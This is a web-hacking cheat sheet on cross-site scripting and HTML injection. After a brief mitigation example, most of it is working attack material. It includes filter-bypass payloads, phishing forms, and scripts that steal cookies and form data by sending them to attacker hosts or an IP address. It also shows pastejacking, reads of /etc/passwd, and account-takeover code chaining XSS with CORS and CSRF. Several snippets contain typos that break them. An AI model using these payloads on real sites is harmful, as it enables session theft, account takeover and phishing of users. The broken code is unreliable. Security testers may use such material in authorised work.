XSS-HTML Injection

In the name of God, the Most Gracious, the Most Merciful

What's XSS

XSS, or Cross-Site Scripting, is like a digital illusionist's trick on the web. It occurs when a malicious script is injected into a website, turning it into a stage for hackers. Imagine innocent user input as a Trojan horse, bringing in a hidden script that dances through the site, stealing sensitive information like a phantom in the digital shadows. XSS exploits the trust between websites and users, turning the virtual playground into a stage for unseen mischief. Guarding against this vulnerability is like installing a cybersecurity force field, protecting the online theater from unwanted script-kiddie performances.

Example For Vulnerable code

    <!DOCTYPE html>
    <html>
    <body>
    
    <?php
    $txt = "PHP";
    echo "I love $txt!";
    ?>
    
    </body>
    </html>

Mitigation code

Use htmlentities() Function

<!DOCTYPE html>
<html>
<body>

<?php
$txt = '"><script>alert(0)</script>';
echo htmlentities("I love $txt!");
?>

</body>
</html>

Examples for htmlentities()

<?php
$str = "A 'quote' is <b>bold</b>";

// Outputs: A 'quote' is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str);

// Outputs: A &#039;quote&#039; is &lt;b&gt;bold&lt;/b&gt;
echo htmlentities($str, ENT_QUOTES);
?>

XSS & HTMLI Testing Methodology

XSS Payload Schema

Basic Schema <tag handler=code>
Advanced Final Schema Try to make you Payloads inspired by this schema this will help you to bypass filters/Bypasses extra1<tag spacer1 extra2 spacer2 handler spacer3 = spacer4 code spacer5> extra3
Filter Bypass Procedure

#XSS vs WAF 
1) use <x & jump to event handler 
2) use onxxx=yyy & find number of x it accepts 
3) test them & change tag accordingly 
4) put js

1) Find a reflection point

use gau/waymore to grab all urls and pass them to kxss tool to test reflection echo "domain.com" | gau | kxss | grep ">"
Do some Google or any seach engines dorking to find endpoints

ext:php | ext:asp | ext:aspx | ext:jsp | ext:asp | ext:pl | ext:cfm | ext:py | ext:rb | ext:.html

Navigate to website and try every single function and features with burp/ZAP logging the requests Testing every parameter for relection using Extenstions like "Reflector" or "Reflect"
FUZZING parameters using "Param-Miner" and "Arjun and test their reflection

2) Get HTML injection

Payloads

88<h1>POC for h0tak88r</h1>88  
%253Ch1%253EHTML%253C%252Fh1%253E  
<iframe id="if1" src="https://www.google.com"></iframe>  
&amp;lt;h1&amp;gt;HTML&amp;lt;/h1&amp;gt;  
&#60;h1&#62;HTML&#60;/h1&#62;  
---------  
<form method="GET">Username: <input type="text" name="username" value="" /> <br />Password: <input type="password" name="passwd" value="" /> <br /><input type="submit" name="submit" value="login" /></form>  
------------------  
<h1>!!</h1><br/><h2><p style=\"color:red;\">there is a new discount code of 80%. Take advantage of it now!</p><form action=\"https://url/\"><button type=\"submit\">Click Here</button></h2>

HTML Injection Exploitation/Escalation

Open Redirect

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<meta http-equiv="refresh" content="0; url=http://h0tak88r.github.io" />

Setting a Cookie

<meta http-equiv="Set-Cookie" Content="SESSID=1">

Portal Tag

<portal src='https://attacker-server?

PasteJacking Attack

	<html>  
	   <body>  
	      <span style="display: block; float: left;">Copy me<br> </span>  
	      <span style="display: block; float: left; background: transparent; color: transparent; white-space: no-wrap; overflow: hidden; width: 0px; height: 0px;"> ; *Your Command/Payload Here* </span>  
	      <span style="display: block; float: left;">    
	</span>  
	      <span style="display: block; white-space: no-wrap;"> </span>  
	      <span style="display: block; clear: both;"></span>  
	    </body>  
	</html>

Defacement
HTML Injection to SSRF <iframe src=https://yourwebsite.com/redirect.php?link=file:///etc/passwd></iframe>
Stealing clear text secrets

<img src='http://attacker.com/log.php?HTML= <meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text= <meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Abuse CSS

<style>@import//hackvertor.co.uk?
<table background='//your-collaborator-id.burpcollaborator.net?'

Stealing Forms Set a form header: <form action='http://evil.com/log_steal'> this will overwrite the next form header and all the data from the form will be sent to the attacker

<button name=xss type=submit formaction='https://google.com'>I get consumed!
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

using noscript

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

3) Get your event handler injected

Agnostic Event Handlers

"When building XSS payloads, some javascript event handlers can be used regardless of the tag used and work on the 5 major browsers until date (Chrome, Firefox, IE/Edge, Safari and Opera) hence the term “agnostic”"

<brute contenteditable onblur=alert(1)>lose focus!  
<brute onclick=alert(1)>click this!  
<brute oncopy=alert(1)>copy this!  
<brute oncontextmenu=alert(1)>right click this!  
<brute oncut=alert(1)>copy this!  
<brute ondblclick=alert(1)>double click this!  
<brute ondrag=alert(1)>drag this!  
<brute contenteditable onfocus=alert(1)>focus this!  
<brute contenteditable oninput=alert(1)>input here!  
<brute contenteditable onkeydown=alert(1)>press any key!  
<brute contenteditable onkeypress=alert(1)>press any key!  
<brute contenteditable onkeyup=alert(1)>press any key!  
<brute onmousedown=alert(1)>click this!  
<brute onmousemove=alert(1)>hover this!  
<brute onmouseout=alert(1)>hover this!  
<brute onmouseover=alert(1)>hover this!  
<brute onmouseup=alert(1)>click this!  
<brute contenteditable onpaste=alert(1)>paste here!  
<brute style=font-size:500px onmouseover=alert(1)>0000

XSS Exploitation

Self XSS + CORS = ATO

https://notifybugme.medium.com/chaining-cors-by-reflected-xss-to-account-takeover-my-first-blog-5b4f12b43c70
1. Got self XSS ?
2. cat corstexturl.txt | CorsMe or cat corstexturl.txt | soru -u | anew |while read host do ; do curl -s — path-as-is — insecure -H “Origin: test.com” “$host” | grep -qs “Access-control-allow-origin: test.com” && echo “$host \\033[0;31m” cors Vulnerable;done
  3. So to exploit this CORS Misconfiguration we just need to replace the XSS payload alert(document.domain), with the following code:
  
  function cors() {  
  var xhttp = new XMLHttpRequest();  
  xhttp.onreadystatechange = function() {    
    if (this.status == 200) {    
    alert(this.responseText);     
    document.getElementById("demo").innerHTML = this.responseText;    
    }  
  };  
  xhttp.open("GET", "<https://www.attacker.com/api/account>", true);  
  xhttp.withCredentials = true;  
  xhttp.send();
  }
  cors();
  4. So here is the final POC
  https://test.attacker.com/patter.jsp?facct="><script>function%20cors(){var%20xhttp=new%20XMLHttpRequest();xhttp.onreadystatechange=function(){if(this.status==200) alert(this.responseText);document.getElementById("demo").innerHTML=this.responseText}};xhttp.open("GET","https://www.attacker.com/api/account",true);xhttp.withCredentials=true;xhttp.send()}cors();</script>

Self XSS to ATO

## convert self xss to reflected one
copy response in a file.html -> it will work

XSS to ATO

<script>
fetch('<https://BURP-COLLABORATOR-SUBDOMAIN>', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>

## Cookie stealing through xss
<https://github.com/lnxg33k/misc/blob/master/XSS-cookie-stealer.py>
<https://github.com/s0wr0b1ndef/WebHacking101/blob/master/xss-reflected-steal-cookie.md>
<script>var i=newImage;i.src="http://172.30.5.46:8888/?"+document.cookie;</script>
<img src=x onerror=this.src='<http://172.30.5.46:8888/?'+document.cookie;>>
<img src=x onerror="this.src='<http://172.30.5.46:8888/?'+document.cookie>; this.removeAttribute('onerror');">

XSS to RCE

https://swarm.ptsecurity.com/researching-open-source-apps-for-xss-to-rce-flaws/

XSS to LFI

<script%00>
 x=new XMLHttpRequest;
 x.onload=function(){document.write(this.responseText)};
 x.open("GET","file:///etc/passwd");x.send();
 </script%00>

<script>	x=new XMLHttpRequest;	x.onload=function(){ document.write(this.responseText)	};	x.open("GET","file:///etc/passwd");	x.send();</script>

<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<script>document.write('<iframe src=file:///etc/passwd></iframe>');</scrip>

XSS to SSRF

<esi:include src="<http://yoursite.com/capture>" />

XSS to CSRF
XSS to CSRF https://link.medium.com/ct4S2BiJYwb
POC : https://vulnerable.site/profile.php?msg=<script src=’https://attacker.site/attacker/script.js’></script>

var csrfProtectedPage ='<https://vulnerable.site/profile.php>'
var csrfProtectedForm ='form'
//get valid token for current request
var html = get(csrfProtectedPage);
  document.getElementbyId(csrfProtectedForm);
var token = form.token.value;

//Build with valid token
document.body.innerHTML+='form id="myform"action="+csrfProtectedPage+"method="POST">'+'<input id="password"name="name"value="hacked">'+'</form>';

// Auto submit form
document.forms["myfor"].submit();
function get(url){
  var xmlHttp = new XMLHttpRequest();
  xamlHttp.open("GET", url.false);
  xmlHttp.send(null)
  return xmlHttp.responseText;
}

<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
  var token = this.responseText.match(/name="csrf" value="(\\w+)"/)[1];
  var changeReq = new XMLHttpRequest();
  changeReq.open('post', '/my-account/change-email', true);
  changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>

XSS Via Header Injection

hostheader: bing.com">script>alert(document.domain)</script><"

XSS to Open Redirect

## URL redirection through xss
document.location.href="<http://evil.com>"

Phishing Via Iframe

## phishing through xss - iframe injection
<iframe src="http://evil.com" height="100" width="100"></iframe>

Remote File Inclusion (RFI) to XSS

php?=http://brutelogic.com.br/poc.svg

File upload To XSS

file upload name XSS
upload a picture file, intercept it, change picturename.jpg to xss payload

XSS via SVG file

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert("h0tak88r XSS");
   </script>
</svg>

DOM XSS

Check for Dom-XSS in Swagger-UI

https://github.com/doosec101/swagger_scanner
configUrl=https://jumpy-floor.surge.sh/test.json
?url=https://jumpy-floor.surge.sh/test.yaml

DOM XSS using web messages

Example for Vulnerable Code

<script>
    window.addEventListener('message', function(e) {
    document.getElementById('ads').innerHTML = e.data;
    })
</script>

Exploit

<iframe src="<https://target.com/>" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">

Some Bypasses Techniques

XSS for .JSON endpoint [ bypass (.html)and WAF ]
- “resource Type” : “silent:nonexitsting” Function
  https://user-images.githubusercontent.com/108616378/219940178-c7988e77-c51a-4e79-add2-e0b192d92e02.png
- Use url-encoded payload with .htm extension and // for break directory block too , So the server so the server didn’t understand my request fully
- POC: https://www.redacted.com/etc/designs/redacted.json//%3Csvg%20onload=alert(document.domain)%3E.html
XSS in meta tag
- XSS bypass using META tag in realestate.postnl.nl | by Prial Islam Khan | InfoSec Write-ups (infosecwriteups.com)
- A decade-old `ResolveUrl XSS` bug is still present in many http://ASP.NET apps. I randomly found this bug in a very famous app. Try in login pages, redirects, forms & dynamic URL construction (~/images/). Payload: /(A(%22onerror='alert%60123%60'test))/Credits: https://x.com/nav1n0x/status/1799384973407031565
